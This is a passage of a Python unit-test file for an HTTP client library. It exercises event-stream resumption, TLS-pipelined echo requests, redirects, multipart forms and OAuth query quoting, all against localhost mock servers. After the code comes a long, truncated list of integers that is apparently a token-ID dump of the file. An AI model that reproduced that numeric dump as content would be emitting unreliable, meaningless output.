alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha == beta.connector.ha while (beta.requests or beta.connector.txbs) or not ixBeta.rxbs: beta.service() time.sleep(0.05) tymist.tick(tock=0.5) alpha.serviceReceivesAllIx() time.sleep(0.05) tymist.tick(tock=0.5) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /stream HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n' b'Last-Event-Id: 4\r\n\r\n') ixBeta.clearRxbs() # resume response lines = [ b'HTTP/1.0 200 OK\r\n', b'Server: IoBook.local\r\n', b'Date: Thu, 30 Apr 2015 21:35:25 GMT\r\n' b'Content-Type: text/event-stream\r\n', b'Cache-Control: no-cache\r\n', b'Connection: close\r\n\r\n', b'id: 5\ndata: 9\ndata: 10\n\n', b'id: 6\ndata: 11\ndata: 12\n\n', ] msgOut = b''.join(lines) ixBeta.tx(msgOut) tymer = tyming.Tymer(tymth=tymist.tymen(), duration=0.5) while ixBeta.txbs or not tymer.expired: alpha.serviceSendsAllIx() time.sleep(0.05) tymist.tick(tock=0.5) beta.service() time.sleep(0.05) tymist.tick(tock=0.5) assert not beta.connector.rxbs #timed out while stream still open so no responses in .responses assert beta.waited assert not beta.respondent.ended assert len(beta.responses) == 0 # but are events in .events assert len(beta.events) == 2 assert beta.respondent.retry == 1000 assert beta.respondent.leid == '6' event = beta.events.popleft() assert event == {'id': '5', 'name': '', 'data': '9\n10'} event = beta.events.popleft() assert event == {'id': '6', 'name': '', 'data': '11\n12'} alpha.close() beta.close() def test_client_pipline_echo_simple_tls(): """ Test Client pipeline servicing with TlS """ #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert serverKeypath = certdirpath + '/server_key.pem' # local server private key serverCertpath = certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = certdirpath + '/client.pem' # remote client public cert clientKeypath = certdirpath + '/client_key.pem' # local client private key clientCertpath = certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = certdirpath + '/server.pem' # remote server public cert serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname alpha = tcp.ServerTls(host=serverCertCommonName, port = 6101, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) assert alpha.reopen() assert alpha.ha == ('127.0.0.1', 6101) assert alpha.eha, ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] beta = clienting.Client(hostname=serverCertCommonName, port=alpha.eha[1], bufsize=131072, scheme='https', reconnectable=True, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} # pipeline another request beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_echo_simple_path_tls(): """ Test Client pipeline servicing with path input and tls """ #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert serverKeypath = certdirpath + '/server_key.pem' # local server private key serverCertpath = certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = certdirpath + '/client.pem' # remote client public cert clientKeypath = certdirpath + '/client_key.pem' # local client private key clientCertpath = certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = certdirpath + '/server.pem' # remote server public cert serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname alpha = tcp.ServerTls(host=serverCertCommonName, port = 6101, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) assert alpha.reopen() assert alpha.ha == ('127.0.0.1', 6101) assert alpha.eha, ('127.0.0.1', 6101) path = "https://{0}:{1}/".format(serverCertCommonName, alpha.eha[1]) beta = clienting.Client(path=path, bufsize=131072, reconnectable=True, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses)== 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses)== 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_redirect_differnet_path(): """ Test Client redirect to different path but same server """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] # defaults to redirectable = True beta = clienting.Client(bufsize=131072, hostname=host, port=port, reconnectable=True, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockRedirectPathService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() # response after redirect assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'method': 'GET', 'path': '/redirect', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None, 'redirects': [{'version': (1, 1), 'status': 307, 'reason': 'Temporary Redirect', 'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'http://localhost:6101/redirect?name=fame')]), 'body': bytearray(b''), 'data': None, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None}]} alpha.close() beta.close() def test_client_redirect_different_servers(): """ Test Client redirect from one server to another server """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) gamma = tcp.Server(port = 6103, bufsize=131072) assert gamma.reopen() assert gamma.ha == ('0.0.0.0', 6103) assert gamma.eha == ('127.0.0.1', 6103) host = alpha.eha[0] port = alpha.eha[1] # defaults to redirectable = True beta = clienting.Client(bufsize=131072, hostname=host, port=port, reconnectable=True, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockRedirectingService(alpha) mockRedirectedService(gamma) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': 'localhost', 'port': 6103, 'scheme': 'http', 'method': 'GET', 'path': '/redirect', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None, 'redirects': [{'version': (1, 1), 'status': 307, 'reason': 'Temporary Redirect', 'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'http://localhost:6103/redirect?name=fame')]), 'body': bytearray(b''), 'data': None, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None}]} alpha.close() gamma.close() beta.close() def test_client_redirect_different_servers_tls(): """ Test Client redirect to a different server """ serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert serverKeypath = certdirpath + '/server_key.pem' # local server private key serverCertpath = certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = certdirpath + '/client.pem' # remote client public cert alpha = tcp.ServerTls(host=serverCertCommonName, port = 6101, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath,) assert alpha.reopen() assert alpha.ha == ('127.0.0.1', 6101) assert alpha.eha == ('127.0.0.1', 6101) gamma = tcp.ServerTls(host=serverCertCommonName, port = 6103, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath) assert gamma.reopen() assert gamma.ha == ('127.0.0.1', 6103) assert gamma.eha == ('127.0.0.1', 6103) #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert clientKeypath = certdirpath + '/client_key.pem' # local client private key clientCertpath = certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = certdirpath + '/server.pem' # remote server public cert host = serverCertCommonName port = alpha.eha[1] beta = clienting.Client(bufsize=131072, hostname=host, port=port, reconnectable=True, scheme='https', certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath,) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockRedirectingServiceTls(alpha) mockRedirectedService(gamma) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': 'localhost', 'port': 6103, 'scheme': 'https', 'method': 'GET', 'path': '/redirect', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None, 'redirects': [{'version': (1, 1), 'status': 307, 'reason': 'Temporary Redirect', 'headers': Hict([('Content-Type', 'text/plain'), ('Content-Length', '0'), ('Access-Control-Allow-Origin', '*'), ('Location', 'https://localhost:6103/redirect?name=fame')]), 'body': bytearray(b''), 'data': None, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None}]} alpha.close() gamma.close() beta.close() def test_multipart_form(): """ Test multipart form for Requester """ host = u'127.0.0.1' port = 6101 method = u'POST' path = u'/echo?name=fame' headers = dict([(u'Accept', u'application/json'), (u'Content-Type', u'multipart/form-data')]) fargs = dict([("text", "This is the life,\nIt is the best.\n"), ("html", "<html><body></body><html>")]) request = clienting.Requester(hostname=host, port=port, method=method, path=path, headers=headers) msgOut = request.rebuild(fargs=fargs) part = (b'Content-Disposition: form-data; name="text"\r\n' b'Content-Type: text/plain; charset=utf-8\r\n\r\n' b'This is the life,\nIt is the best.\n\r\n') assert part in msgOut part = (b'Content-Disposition: form-data; name="html"\r\n' b'Content-Type: text/plain; charset=utf-8\r\n\r\n' b'<html><body></body><html>\r\n') assert part in msgOut assert request.head.startswith((b'POST /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Content-Length: 325\r\n' b'Accept: application/json\r\n' b'Content-Type: multipart/form-data; boundary=')) def test_query_quoting(): """ Test agorithm for parsing and reassembling query """ location = ('https%3A%2F%2Fapi.twitter.com%2F1.1%2Faccount%2Fverify_credentials.json' '?oauth_consumer_key=<KEY>' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=<KEY>' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') path, sep, query = location.partition('?') path = unquote(path) if sep: location = sep.join([path, query]) else: location = path assert location == ('https://api.twitter.com/1.1/account/verify_credentials.json' '?oauth_consumer_key=<KEY>' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=<KEY>' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') splits = urlsplit(location) query = splits.query assert query == ('oauth_consumer_key=<KEY>' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=<KEY>' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') querySplits = query.split('&') assert querySplits == ['oauth_consumer_key=<KEY>', 'oauth_nonce=eb616fe02004000', 'oauth_signature_method=HMAC-SHA1', 'oauth_timestamp=1437580412', 'oauth_token=<KEY>TTuN0laSqD4vxCb2B7xh62YD', 'oauth_version=1.0', 'oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D'] qargs = dict() for queryPart in querySplits: # this prevents duplicates even if desired if queryPart: if '=' in queryPart: key, val = queryPart.split('=', 1) val = unquote(val) else: key = queryPart val = True qargs[key] = val assert qargs == {'oauth_consumer_key': u'<KEY>', 'oauth_nonce': u'eb616fe02004000', 'oauth_signature_method': u'HMAC-SHA1', 'oauth_timestamp': u'1437580412', 'oauth_token': u'<KEY>', 'oauth_version': u'1.0', 'oauth_signature': u'KBD3DdNVZBjyOd0fqQ9X17ack='} qargParts = ["{0}={1}".format(key, quote_plus(str(val))) for key, val in qargs.items()] newQuery = '&'.join(qargParts) assert newQuery == ('oauth_consumer_key=<KEY>' '&oauth_nonce=eb616fe02004000' '&oauth_signature_method=HMAC-SHA1' '&oauth_timestamp=1437580412' '&oauth_token=<KEY>' '&oauth_version=1.0' '&oauth_signature=KBD3DdNVZBjyOd0fqQ9X17ack%3D') if __name__ == '__main__': test_query_quoting()
[ 1, 529, 276, 1112, 420, 29958, 29886, 1725, 1466, 29882, 4539, 29914, 29882, 601, 29966, 9507, 29958, 21150, 29914, 3221, 29914, 1124, 29914, 1688, 29918, 4645, 292, 29889, 2272, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 13, 2525, 986, 9197, 363, 1732, 3132, 292, 3883, 13, 15945, 29908, 13, 5215, 10876, 13, 5215, 2897, 13, 5215, 931, 13, 3166, 3142, 1982, 29889, 5510, 1053, 3142, 5451, 29892, 14978, 29918, 11242, 29892, 443, 1396, 13, 13, 13, 13, 5215, 11451, 1688, 13, 13, 3166, 298, 601, 1053, 1371, 13, 3166, 298, 601, 29889, 8477, 1053, 19912, 13, 3166, 298, 601, 29889, 8477, 1053, 379, 919, 13, 3166, 298, 601, 29889, 3188, 1053, 13110, 292, 13, 3166, 298, 601, 29889, 3221, 1053, 281, 8491, 29892, 22729, 29892, 1732, 13, 3166, 298, 601, 29889, 3221, 29889, 1124, 1053, 3132, 292, 13, 13, 13, 21707, 353, 1371, 29889, 468, 1358, 29889, 657, 16363, 580, 13, 13, 29873, 3137, 3972, 2084, 353, 2897, 29889, 2084, 29889, 25721, 29898, 13, 18884, 2897, 29889, 2084, 29889, 25721, 29898, 13, 462, 4706, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 13, 462, 9651, 10876, 29889, 7576, 29889, 657, 22168, 978, 1649, 467, 1649, 1445, 1649, 4961, 13, 6327, 3972, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 29873, 3137, 3972, 2084, 29892, 525, 29873, 3137, 742, 525, 6327, 29879, 1495, 13, 13, 13, 1753, 11187, 29923, 1859, 3170, 29898, 2974, 1125, 13, 1678, 9995, 13, 1678, 11187, 2916, 1923, 2669, 363, 6724, 13, 1678, 9995, 13, 1678, 11187, 16190, 353, 313, 29890, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 13, 1678, 11187, 16190, 7717, 3069, 353, 313, 29890, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 4706, 289, 29915, 8514, 29901, 15683, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 4706, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 4706, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 13, 1678, 1923, 29889, 5509, 17918, 29879, 580, 13, 1678, 565, 1923, 29889, 861, 267, 29901, 13, 4706, 1923, 29889, 5509, 10380, 3145, 3596, 29902, 29916, 580, 13, 13, 4706, 474, 29916, 4032, 353, 1051, 29898, 2974, 29889, 861, 267, 29889, 5975, 3101, 29961, 29900, 29962, 13, 4706, 10191, 797, 353, 6262, 29898, 861, 4032, 29889, 17697, 5824, 29897, 13, 4706, 565, 29871, 10191, 797, 297, 313, 17640, 16190, 29892, 11187, 16190, 7717, 3069, 1125, 13, 9651, 474, 29916, 4032, 29889, 8551, 29934, 29916, 5824, 580, 13, 9651, 10191, 3744, 353, 313, 29890, 29915, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29896, 29906, 29906, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 3916, 29899, 1542, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 2539, 29901, 498, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 6004, 29901, 22244, 10967, 29889, 2997, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 462, 418, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 462, 418, 289, 11838, 18248, 1115, 376, 7194, 613, 525, 13, 462, 418, 289, 11838, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 462, 418, 289, 11838, 2467, 1115, 1870, 29913, 1495, 13, 9651, 474, 29916, 4032, 29889, 7508, 29898, 7645, 3744, 29897, 13, 9651, 10191, 797, 353, 289, 4907, 13, 9651, 10191, 3744, 353, 289, 4907, 13, 13, 4706, 1923, 29889, 5509, 29903, 1975, 3596, 29902, 29916, 580, 13, 13, 13, 1753, 11187, 29923, 1859, 3170, 8148, 29898, 2974, 1125, 13, 1678, 9995, 13, 1678, 11187, 2916, 1923, 2669, 411, 4390, 848, 2009, 3573, 19725, 740, 13, 1678, 9995, 13, 1678, 11187, 16190, 353, 313, 29890, 29915, 12336, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 8514, 29901, 15683, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29941, 29896, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 3916, 29899, 1542, 29901, 2280, 29914, 3126, 29936, 17425, 29922, 9420, 29899, 29947, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 1669, 289, 29915, 6377, 4102, 4710, 11639, 3284, 4230, 4710, 29209, 9092, 1495, 13, 13, 1678, 1923, 29889, 5509, 17918, 29879, 580, 13, 1678, 565, 1923, 29889, 861, 267, 29901, 13, 4706, 1923, 29889, 5509, 10380, 3145, 3596, 29902, 29916, 580, 13, 13, 4706, 474, 29916, 4032, 353, 1051, 29898, 2974, 29889, 861, 267, 29889, 5975, 3101, 29961, 29900, 29962, 13, 4706, 10191, 797, 353, 6262, 29898, 861, 4032, 29889, 17697, 5824, 29897, 13, 4706, 565, 10191, 797, 1275, 11187, 16190, 29901, 13, 9651, 474, 29916, 4032, 29889, 8551, 29934, 29916, 5824, 580, 13, 9651, 10191, 3744, 353, 313, 29890, 29915, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29896, 29906, 29906, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 3916, 29899, 1542, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 2539, 29901, 498, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 6004, 29901, 22244, 10967, 29889, 2997, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 462, 418, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 462, 418, 289, 11838, 18248, 1115, 376, 7194, 613, 525, 13, 462, 418, 289, 11838, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 462, 